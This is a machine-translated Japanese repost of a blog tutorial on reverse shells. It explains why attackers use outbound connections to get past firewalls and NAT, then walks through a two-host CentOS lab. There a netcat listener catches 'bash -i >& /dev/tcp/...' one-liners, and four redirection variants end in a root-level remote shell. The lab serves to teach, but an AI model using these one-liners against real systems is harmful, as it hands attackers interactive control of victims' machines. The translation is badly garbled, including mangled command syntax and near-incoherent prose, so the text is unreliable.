原理と実装のリバウンドシェル

バウンスシェルとは何ですか?

  制御端子にシェル(シェル逆)、制御端末は、ホスト・ポートへの要求を開始する、TCP / UDPポートをリッスンして、コマンドライン入力と出力をリバウンド。逆殻およびtelnet、sshと他の標準シェルの対応は、本質的に、それはクライアントとサーバのネットワークの概念逆転の役割です。

 

なぜシェルリバウンドする必要がありますか?

ホストのファイアウォールは、一般的に制限のため、モビリティ、権限の不足のために使用され、ポートは、その他の状況によって占有されています。

例:私たちは、マシンを攻撃するマシンのポートを開くと仮定し、自分のマシンでは、攻撃者がターゲットマシンに接続するには:より多くの従来の形態である(ターゲットIPポートターゲット・マシン)、我々はポジティブな接続と呼ばれます。リモートデスクトップ、Webサービス、SSH、Telnet、およびので、正接続されています。だから、どのような状況の下で正の接続は、それを使用することはできませんか?

以下があります。

お使いのネット​​ワークの馬1.クライアントが、それはLANで、あなたは直接接続することはできませんされています。 

2. IPは動的にあなたがコントロールし続けることができない、ターゲットマシンを変更します。

ファイアウォールの制限以来、他のマシンがリクエストを送信することができます3.、リクエストはお受けできません。

ウイルス、トロイの木馬、被害者がキャッチすることができたときに、他のネットワーク環境がマシンの切り替え時には不明である状況の種類であるので、サーバの設置悪意のあるプログラムのアクティブな接続となるよう4.は、最善の策です。

その後、被害者がリバウンド接続と呼ばれる攻撃者のサーバプログラムを、接続するためのイニシアチブをホストするサーバーを指定し、攻撃者の非常によく理解して反発しました。

 

================================================== ============

参考

https://www.zhihu.com/question/24503813は    ほとんど知っている:リバウンドシェルはああ何を意味ですか?私は、関連の基礎を説明していない長い時間のためにオンラインに見えましたか?

 

実験リバウンドシェル

環境:二つのCentOS7.6サーバー

  • 攻撃終了ハッカー:10.201.61.194 
  • 被害者側の犠牲者:10.201.61.195 

1.攻撃はリスニングポートを終了します。

[ルート@ハッカー〜]#NC -lVP 6767

NCAT:バージョン7.50(https://nmap.org/ncat)

NCAT:::: 6767に聞きます

NCAT:0.0.0.0:6767に聞きます

 

2.被害者がリバウンドシェルを生成し終了します。

[ルート@の犠牲者〜]#bashの-i>&/dev/tcp/10.201.61.194/6767 0>&1

 

3.攻撃はbashのの被害をエンドツーエンドを取得しています:

[ルート@ハッカー〜]#NC -lVP 6767

NCAT:バージョン7.50(https://nmap.org/ncat)

NCAT:::: 6767に聞きます

NCAT:0.0.0.0:6767に聞きます

NCAT:10.201.61.195からの接続。

NCAT:10.201.61.195:46836からの接続。

[ルート@の犠牲者〜]#//エンド攻撃の犠牲者のリモートインタラクティブシェル側となっています

[ルート@の犠牲者〜]#ホスト名

ホスト名

犠牲者

 

説明:

1. NC -lVP 6767

 -lモニター、-v相互作用または出力エラー・メッセージ、-pポート。NCは、任意のTCP / UDPポートリスナー、モード指定されたポートをリスニングにおけるTCPやUDPサーバとしてNCこと、のnetcatの速記です。

 

2.のbash -i

インタラクティブ-i。即ち、対話型シェル(bashの)を生成します。

 

3.は/ dev / TCP / IP / PORT

特殊デバイスファイル(Linuxののすべてがファイルである)、実際のファイルが存在しない、それだけされ  bash 、ネットワーク要求を実現するために使用されるインターフェイスを実現。このファイルを開き、ソケット呼び出しを送るに相当し、この文書では、ソケット接続を確立読み書きするデータを送信すると、ソケット接続と同等です。

 

 

四つの小テストでリバウンドシェルの実装を分析するには:

(PSは:なお、実行ステップの順序)

 

テスト1:

被害者側:

[ルート@の犠牲者〜]#bashの-i > /dev/tcp/10.201.61.194/5566 //ステップ
[ルート@の犠牲者〜]#ホスト名 // ステップ
[ルート@の犠牲者〜]#

攻撃終了:

5566 -lVP [ルート@ハッカー〜]#ncの//最初のステップ

NCAT:バージョン7.50(https://nmap.org/ncat)
NCAT:::: 5566でリスニング
NCAT:0.0.0.0:5566に聞く
NCAT:10.201.61.195からの接続。
NCAT:10.201.61.195:49018からの接続。

被害者     //テスト1件の結果:標準出力側を達成するためには、エンドを攻撃するために、被害者をリダイレクトし、まだ被害者の終了を制御するために実装されていません。

 

テスト2:

被害者側:

[被害者ルート@〜]#bashの-i < /dev/tcp/10.201.61.194/5566 //ステップ
[被害者ルート@〜]#ホスト名        // 2試験結果:実装は攻撃の犠牲者への入力端子をリダイレクト終わり、結局は、攻撃コマンドの実行結果を確認することはできません。
犠牲者

 攻撃終了:

[ルート@ハッカーは〜]#NC -lVP 5566 // ステップ
NCAT:7.50バージョン(https://nmap.org/ncat)
NCAT:::: 5566でリッスン
NCAT:0.0.0.0:5566でリッスン
NCAT: 10.201.61.195からの接続。
10.201.61.195:50412からNCAT :.接続
ホスト名//第三段階(最終攻撃はコマンドを実行)

 

テスト 3:

被害者側:

[ルート@の犠牲者〜]#bashの-i > /dev/tcp/10.201.61.194/5566 0>&1        //ステップ
[ルート@の犠牲者〜]#ホスト名 // 怪我を終了echoコマンド
[ルート@の犠牲者〜] #IDは//犠牲者はechoコマンド終了
[ルート@の犠牲者〜]#のハハハ // 被害者はechoコマンドの終了
bashのを:笑:コマンドが見つかりません//被害者がechoコマンドを終了します。コマンドの出力を表示します。
[ルート@の犠牲者〜]#

 攻撃終了:

[ルート@ハッカーは〜]#NC -lVP 5566 // ステップ
NCAT:7.50バージョン(https://nmap.org/ncat)
NCAT:::: 5566でリッスン
NCAT:0.0.0.0:5566でリッスン
NCAT: 10.201.61.195から接続。
10.201.61.195:36792からNCAT :.接続
ホスト名//第三段階(実行終了攻撃)
犠牲
ID //第四工程(ラン側攻撃)
UID = 0(ルート)GID = 0 (ルート)グループ= 0(ルート)
笑//第五工程(不良コマンドを実行します)

//テスト3の結果:リバウンドシェル関数の基本的な実現を。しかし、マシンはまだ攻撃者のマシン上で実行されたコマンドをエコーし​​、被害者側の攻撃にはエラー出力コマンドを参照してくださいません終了します。

 

 試験4(上記3つの試験と組み合わせて、標準入力、標準出力となり、エラー出力は、すべての端を攻撃するようにリダイレクトされます。)。 

被害者側:

[被害者ルート@〜]#bashの-i > /dev/tcp/10.201.61.194/5566 0>。1&2>&1つの         // 2番目のステップ。やbash -i#&> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>または>&混合出力、標準エラー出力2 + 1の、すなわち出力を表します)

攻撃終了:

[ルート@ハッカーは〜]#NC -lVP 5566 // ステップ
NCAT:7.50バージョン(https://nmap.org/ncat)
NCAT:::: 5566でリッスン
NCAT:0.0.0.0:5566でリッスン
NCAT: 10.201.61.195からの接続。
NCAT :.接続10.201.61.195:51182から
[ルート@被害者〜]#のホスト名//第三段階。4件の試験結果:攻撃の終了リモートインタラクティブシェルがサイドが負傷し、被害者が終了し、入力〜重要な攻撃を命じるために返されませんでし終了された
ホスト名の
犠牲者

試験4比較試験3からわかる// PSは:,だけでなく、標準誤差2は、エラーメッセージの効果を示し、依然としてコマンド及び端子を入力するために効果プロンプトがエコーさ~~~

 

要約

この記事では、リバウンドシェル原理を理解するために、リバウンドシェルと実験のいくつかの情報をコンパイル。より良いリバウンドシェルを理解するために、ファイル記述子とリダイレクションの深い理解〜

 

================================================== ============

参考:

https://xz.aliyun.com/t/2549    預言者コミュニティ:Linuxのリバウンドシェルシェルバウンスの(b)の自然

https://www.freebuf.com/articles/system/153986.html    FREEBUF:分析とリダイレクトコマンドのリバウンドシェル

おすすめ

転載: www.cnblogs.com/iouwenbo/p/11277453.html